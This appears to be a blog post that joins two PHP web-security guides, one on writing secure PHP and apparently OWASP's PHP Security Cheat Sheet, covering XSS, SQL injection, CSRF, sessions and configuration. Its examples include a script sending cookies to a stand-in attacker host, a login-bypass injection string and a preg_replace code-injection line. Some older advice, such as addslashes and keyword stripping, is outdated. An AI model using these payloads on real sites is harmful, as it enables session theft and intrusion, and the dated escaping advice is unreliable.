Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands — usually JavaScript — in data that is displayed and therefore executed by another user.
For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a <script> tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users’ cookie and session information, and use this data in a session hijacking or other attack on your site.
<script>
document.location =
'http://www.badguys.com/cgi-bin/cookie.php?' +
document.cookie;
</script>
To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular,
<
and >
) to HTML character entities (<
and >
), so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP’s htmlspecialchars
function as you are producing the output.
If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like
<script>
. This is best done when the content is first submitted, and will require a bit of regular expressions know-how.
The Cross Site Scripting FAQ at cgisecurity.com provides much more information and background on this type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to spot and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high number of XSS advisories issued on the popular security mailing lists.
SQL Injection Vulnerabilities
SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.
SELECT * FROM users WHERE name='$username' AND pass='$password';
However, if the user who’s logging in is devious, he may enter the following as his password:
' OR '1'='1
This results in the query being sent to the database as:
SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';
This will return the username without validating the password — the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the user-submitted values, most particularly the single quotes (‘). The simplest way to do this is to use PHP’s
addslashes()
function.$username = addslashes($_POST["username"]);
$password = addslashes($_POST["password"]);
But depending on your PHP configuration, this may not be necessary! PHP’s much-reviled magic quotesfeature is enabled by default in current versions of PHP. This feature, which can be disabled by setting the
magic_quotes_gpc
php.ini
variable to Off
, will automatically apply addslashes
to all values submitted via GET, POST or cookies. This feature safeguards against inexperienced developers who might otherwise leave security holes like the one described above, but it has an unfortunate impact on performance when input values do not need to be escaped for use in database queries. Thus, most experienced developers elect to switch this feature off.
If you’re developing software that may be installed on shared servers where you might not be able to change the
php.ini
file, use code to check that status of magic_quotes_gpc
and, if it is turned on, pass all input values through PHP’s stripslashes()
function. You can then apply addslashes()
to any values destined for use in database queries as you would normally.if (get_magic_quotes_gpc()){
$_GET = array_map('stripslashes', $_GET);
$_POST = array_map('stripslashes', $_POST);
$_COOKIE = array_map('stripslashes', $_COOKIE);
}
SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your HTML output.
You should always check user-provided data that will be used in a query for the characters
'",;()
and, possibly, for the keywords "FROM"
, "LIKE"
, and "WHERE"
in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they’re unnecessary, you’ll have much less to worry about from this type of flaw.Error Reporting
You should ensure that your
display_errors
php.ini value is set to "0". Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user’s browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.
The
display_errors
value can be set at runtime using the ini_set
function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the ini_set
function is not run.
Instead of displaying errors, set the
error_log
ini variable to "1" and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the PHP manual pages on error handling and learn about theset_error_handler()
function.Data Handling Errors
Data handling errors aren’t specific to PHP per se, but PHP application developers still need to be aware of them. This class of error arises when data is handled in an insecure manner, which makes it available to possible interception or modification by malicious parties.
The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that should be transmitted via HTTPS. Credit card numbers and customer information are the most common types of secured data, but if you transmit usernames and passwords over a regular HTTP connection, and those usernames and passwords allow access to sensitive material, you might as well transmit the sensitive material itself over an unencrypted connection. Use SSL security whenever you transmit sensitive data from your application to a user’s browser. Otherwise, a malicious eavesdropper on any router between your server and the end user can very easily sniff the sensitive information out of the network packets.
The same type of risk can occur when applications are updated using FTP, which is an insecure protocol. Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like SFTP or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email, either. An email message is readable by anyone who’s capable of reading the network traffic. A good rule of thumb is that if you wouldn’t write the information on the back of a postcard and put it through the mail, you shouldn’t send it via email, either. The chance anyone will actually intercept the message may be low, but why risk it?
It’s important to minimize your exposure to data handling flaws. For example, if your application is an online store, is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive the data and store it offline, limiting the amount of data that can be compromised if your Webserver is breached. It’s basic security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the negative effects of a successful compromise. No security system is ever perfect, so don’t assume that yours is. Take steps to minimize the fallout if you do suffer a penetration.
Configuring PHP For Security
Generally, most new PHP installations that use recent PHP releases are configured with much stronger security defaults than was standard in past PHP releases. However, your application may be installed on a legacy server that has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as secure as the default settings on a fresh install.
You should create a page that calls the
phpinfo()
function to list your php.ini variables and scan them for insecure settings. Keep this page in a restricted place and do not allow public access to it. The output ofphpinfo()
contains information that a potential hacker might find extremely useful.
Some settings to consider when configuring PHP for security include:
register_globals
: The boogeyman of PHP security isregister_globals
, which used to default to "on" in older releases of PHP but has since been changed to default to "off". It exports all user input as global variables. Check this setting and disable it — no buts, no exceptions. Just do it! This setting is possibly responsible for more PHP security flaws than any other single cause. If you’re on a shared host, and they won’t let you disableregister_globals
, get a new host!
safe_mode
: The safe mode setting can be very useful to prevent unauthorized access to local system files. It works by only allowing the reading of files that are owned by the user account that owns the executing PHP script. If your application opens local files often, consider enabling this setting.disable_functions
: This setting can only be set in your php.ini file, not at runtime. It can be set to a list of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which allow the execution of external programs.
Read the security section of the PHP manual and get to know it well. Treat it as material for a test you’ll take and get to know it backwards and forwards. You will be tested on the material by the hackers who will indubitably attempt to penetrate your site. You get a passing grade on the test if the hackers give up and move on to an easier target whose grasp of these concepts is insufficient.
Further Reading
The following sites are recommended reading to maintain your security knowledge. New flaws and new forms of exploits are discovered all the time, so you cannot afford to rest on your laurels and assume you have all the bases covered. As I stated in the introduction to this article, "Security is a process", but security education is also a process, and your knowledge must be maintained.
OWASP, The Open Web Application Security Project, is a non-profit oganisation dedicated to "finding and fighting the causes of insecure software". The resources it provides are invaluable and the group has many local chapters that hold regular meetings with seminars and roundtable discussions. Highly recommended.
CGISecurity.Net is another good site dealing with Web application security. They have some interesting FAQs and more in-depth documentation on some of the types of flaws I’ve discussed in this article.
The security section of the PHP Manual is a key resource that I mentioned above, but I include it here again, since it’s full of great information that’s directly applicable to PHP. Don’t gloss over the comments at the bottom of each page: some of the best and most up-to-date information can be found in the user-contributed notes.
The PHP Security Consortium offers a library with links to other helpful resources, PHP-specific summaries of the SecurityFocus newsletters, the PHP Security Guide, and a couple of articles.
The BugTraq mailing list is a great source of security related advisories that you should read if you’re interested in security in general. You may be shocked by the number of advisories that involve popular PHP applications allowing SQL insertion, Cross Site Scripting and some of the other flaws I’ve discussed here.
Linux Security is another good site that is not necessarily restricted to PHP but, since you are likely running a Linux Webserver to host your PHP applications, it’s useful to try to stay up to date on the latest advisories and news related to your chosen Linux distribution. Don’t assume your hosting company is on top of these developments; be aware on your own — your security is only as good as your weakest point. It does you no good to have a tightly secured PHP application running on a server with an outdated service that exposes a well-known and exploitable flaw.
Conclusions
As I’ve shown in this article, there are many things to be aware of when programming secure PHP applications, though this is true with any language, and any server platform. PHP is no less secure than many other common development languages. The most important thing is to develop a proper security mindset and to know your tools well. I hope you enjoyed this article and learned something as well! Remember: just because you’re paranoid doesn’t mean there’s no one out to get you.
-----------------------------------------------------------------------------------------------------------
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the
Language issues
Weak typing
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).
Try to use functions and operators that do not do implicit type conversions (e.g.
===
and not ==
). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like in_array
) use weakly typed comparison functions by default, making it difficult to write correct code.Exceptions and error handling
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.
Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:
$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');
function can_access_feature($current_user) { global $db_link; $username = mysqli_real_escape_string($db_link, $current_user->username); $res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';"); $row = mysqli_fetch_array($res); if ((int)$row[0] > 0) { return false; } else { return true; } }
if (!can_access_feature($current_user)) { exit(); } // Code for feature here
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the
mysqli_
functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable $row
becomes NULL
, and PHP will evaluate $row[0]
also as NULL
, and (int)$row[0]
as 0
, due to weak typing. Eventually the can_access_feature
function returns true
, giving access to all users, whether they are on the blacklist or not.
If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. This is why accessing a database should always be done by using PHP Data Objects (PDO) specified with theERRMODE_WARNING or ERRMODE_EXCEPTION flags unless there is a clearly compelling reason to use native drivers and careful error checking.
It is often best to turn up error reporting as high as possible using the error_reporting function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.
php.ini
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”
Unhelpful builtins
PHP comes with many built-in functions, such as
addslashes
, mysql_escape_string
and mysql_real_escape_string
, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.
PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as Drupal SA-CORE-2014-005 (see the patch).
Framework issues
URL routing
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:
- Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.
- Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use
.htaccess
to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.
- The URL routing mechanism is the same as the module system. This means it is often possible for attackers to use files as entry points which were not designed as such. This can open up vulnerabilities where authentication mechanisms are bypassed entirely - a simple refactoring that pulls code out into a separate file can open a vulnerability. This is made particularly easy in PHP because it has globally accessible request data ($_GET etc), so file-level code can be imperative code that operates on the request, rather than simply function definitions.
- The lack of a proper URL routing mechanism often leads to developers creating their own ad-hoc methods. These are often insecure and fail to apply appropriate athorization restrictions on different request handling functionality.
Input handling
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:
$supplied_nonce = $_GET['nonce']; $correct_nonce = get_correct_value_somehow(); if (strcmp($supplied_nonce, $correct_nonce) == 0) { // Go ahead and reset the password } else { echo 'Sorry, incorrect link'; }
If an attacker uses a querystring like this:
http://example.com/?nonce[]=a
then we end up with
$supplied_nonce
being an array. The function strcmp()
will then return NULL
(instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the ==
(equality) operator instead of the ===
(identity) operator, the comparison succeeds (since the expression NULL == 0
is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.
Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as Drupal SA-CORE-2014-005 - see example exploit.
Template language
PHP is essentially a template language. However, it doesn't do HTML escaping by default, which makes it very problematic for use in a web application - see section on XSS below.
Other inadequacies
There are other important things that a web framework should supply, such as a CSRF protection mechanism that is on by default. Because PHP comes with a rudimentary web framework that is functional enough to allow people to create web sites, many people will do so without any knowledge that they need CSRF protection.
Third party PHP code
Libraries and projects written in PHP are often insecure due to the problems highlighted above, especially when proper web frameworks are not used. Do not trust PHP code that you find on the web, as many security vulnerabilities can hide in seemingly innocent code.
Poorly written PHP code often results in warnings being emitted, which can cause problems. A common solution is to turn off all notices, which is exactly the opposite of what ought to be done (see above), and leads to progressively worse code.
Update PHP Now
Important Note: PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.
Configuration
The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - seehttp://www.php.net/manual/en/configuration.php
There are many security related configuration options. Some are listed below:
SetHandler
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.
Untrusted data
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.
Super globals which are not to be trusted are
$_SERVER
, $_GET
, $_POST
, $_REQUEST
, $_FILES
and $_COOKIE
. Not all data in $_SERVER
can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_
).File uploads
Files received from a user pose various security threats, especially if other users can download these files. In particular:
- Any file served as HTML can be used to do an XSS attack
- Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.
Common mistakes on the processing of $_FILES array
It is common to find code snippets online doing something similar to the following code:
if ($_FILES['some_name']['type'] == 'image/jpeg') { //Proceed to accept the file as a valid image }
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.
$finfo = new finfo(FILEINFO_MIME_TYPE); $fileContents = file_get_contents($_FILES['some_name']['tmp_name']); $mimeType = $finfo->buffer($fileContents);
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.
Use of $_REQUEST
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. All of this data is combined into one array, making it almost impossible to determine the source of the data. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.
Database Cheat Sheet
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:
Never concatenate or interpolate data in SQL
Never build up a string of SQL that includes user data, either by concatenation:
$sql = "SELECT * FROM users WHERE username = '" . $username . "';";
or interpolation, which is essentially the same:
$sql = "SELECT * FROM users WHERE username = '$username';";
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc. Using prepared statements and bound parameters is a much better solution. PHP's [mysqli](http://php.net/mysqli) and [PDO](http://php.net/pdo) functionality includes this feature (see below).
Escaping is not safe
mysql_real_escape_string is not safe. Don't rely on it for your SQL injection prevention.
Why: When you use mysql_real_escape_string on every variable and then concat it to your query, you are bound to forget that at least once, and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).
Use Prepared Statements
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.
See the PHP docs on MySQLi prepared statements and PDO prepared statements
Where prepared statements do not work
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. Additionally, they cannot be used for things like table names or columns in `SELECT` statements. In these cases, you should use query builder that is provided by a framework, if available. If not, several packages are available for use via Composer and Packagist Do not roll your own.
ORM
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like Doctrine) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so NEVER concatenate strings sent to a database. ORM's support prepared statements as well.
Always be sure to evaluate the code of *any* ORM you use to validate how it handles the execution of the SQL it generates. Ensure it does not concatenate the values and instead uses prepared statements internally as well as following good security practices.
Encoding Issues
Use UTF-8 unless necessary
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.
$DB = new mysqli($Host, $Username, $Password, $DatabaseName); if (mysqli_connect_errno()) trigger_error("Unable to connect to MySQLi database."); $DB->set_charset('UTF-8');
Other Injection Cheat Sheet
SQL aside, there are a few more injections possible and common in PHP:
Shell Injection
A few PHP functions namely
- shell_exec
- exec
- passthru
- system
- backtick operator ( ` )
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.
Code Injection
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval(). Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.
Function preg_replace() should not be used with unsanitised user input, because the payload will be eval()'ed.
preg_replace("/.*/e","system('echo /etc/passwd')");
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.
Other Injections
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.
XSS Cheat Sheet
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:
No Tags
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). However, this is not recommended. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.
Instead of this, you should use a template engine that applies HTML escaping by default - see below. All HTML should be passed out through the template engine.
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.
Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.), but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.
//xss mitigation functions function xssafe($data,$encoding='UTF-8') { return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding); } function xecho($data) { echo xssafe($data); }
//usage example <input type='text' name='test' value='<?php xecho ("' onclick='alert(1)"); ?>' />
Untrusted Tags
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a Secure Encoding library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.
Templating engines
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[1]. Other popular template engines are Smarty, Haanga and Rain TPL.
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.
Other Tips
- Don't have a trusted section in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.
- HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)
- The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.
- Reflected XSS is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.
- Not every PHP installation has a working mhash extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256
- Not every PHP installation has a working mcrypt extension, and without it you can't do AES. Do check if you need it.
CSRF Cheat Sheet
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:
- Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
- CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.
The OWASP PHP CSRFGuard is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:
- Use re-authentication for critical operations (change password, recovery email, etc.)
- If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
- If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
- AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
- CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.
Authentication and Session Management Cheat Sheet
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:
Session Management
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:
- Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
- Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
- You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.
Session Hijacking Prevention
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:
$IP = getenv ( "REMOTE_ADDR" );
Keep in mind that in local environments, a valid IP is not returned, and usually the string :::1 or :::127 might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information here andhere )
Invalidate Session ID
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).
Rolling of Session ID
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.
Exposed Session ID
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.
Session Fixation
Invalidate the Session id after user login (or even after each request) with session_regenerate_id().
Session Expiration
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.
Also keep the log out button close, and unset all traces of the session on log out.
Inactivity Timeout
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.
General Timeout
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.
Cookies
Handling cookies in a PHP script has some tricks to it:
Never Serialize
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.
Proper Deletion
To delete a cookie safely, use the following snippet:
setcookie ($name, "", 1); setcookie ($name, false); unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.
You can also use session_name() to retrieve the name default PHP session cookie.
HTTP Only
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting manually (not using session_start):
#prototype bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )
#usage if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true)) echo ("could not set HTTP-only cookie");
The path parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. Domain parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If secure parameter is set, cookie can only be transmitted over HTTPS. See the example below:
$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true); if (!$r) die("Could not set session cookie.");
Internet Explorer issues
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.
Authentication
Remember Me
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have no relevance to username and/or password of the user, a secure long-enough random number is a good practice.
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.
- Never store username/password or any relevant information in the cookie.
Configuration and Deployment Cheat Sheet
Please see PHP Configuration Cheat Sheet.
Authors and Primary Editors
Other Cheatsheets
OWASP Cheat Sheets Project Homepage
Developer Cheat Sheets (Builder)
- Authentication Cheat Sheet
- Choosing and Using Security Questions Cheat Sheet
- Clickjacking Defense Cheat Sheet
- C-Based Toolchain Hardening Cheat Sheet
- Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
- Cryptographic Storage Cheat Sheet
- DOM based XSS Prevention Cheat Sheet
- Forgot Password Cheat Sheet
- HTML5 Security Cheat Sheet
- Input Validation Cheat Sheet
- JAAS Cheat Sheet
- Logging Cheat Sheet
- .NET Security Cheat Sheet
- Password Storage Cheat Sheet
- Pinning Cheat Sheet
- Query Parameterization Cheat Sheet
- Ruby on Rails Cheatsheet
- REST Security Cheat Sheet
- Session Management Cheat Sheet
- SQL Injection Prevention Cheat Sheet
- Transport Layer Protection Cheat Sheet
- Unvalidated Redirects and Forwards Cheat Sheet
- User Privacy Protection Cheat Sheet
- Web Service Security Cheat Sheet
- XSS (Cross Site Scripting) Prevention Cheat Sheet
Assessment Cheat Sheets (Breaker)
Mobile Cheat Sheets
OpSec Cheat Sheets (Defender)
Draft Cheat Sheets
- OWASP Top Ten Cheat Sheet
- Access Control Cheat Sheet
- Application Security Architecture Cheat Sheet
- Business Logic Security Cheat Sheet
- PHP Security Cheat Sheet
- Secure Coding Cheat Sheet
- Secure SDLC Cheat Sheet
- Threat Modeling Cheat Sheet
- Web Application Security Testing Cheat Sheet
- Grails Secure Code Review Cheat Sheet
- IOS Application Security Testing Cheat Sheet
- Key Management Cheat Sheet
- Insecure Direct Object Reference Prevention Cheat Sheet
- Content Security Policy Cheat Sheet
Reference https://www.addedbytes.com/articles/writing-secure-php/writing-secure-php-4/
http://www.hotscripts.com/category/scripts/php/scripts-programs/security-systems/
http://www.sitepoint.com/php-security-blunders-2/
https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet
https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet
No comments:
Post a Comment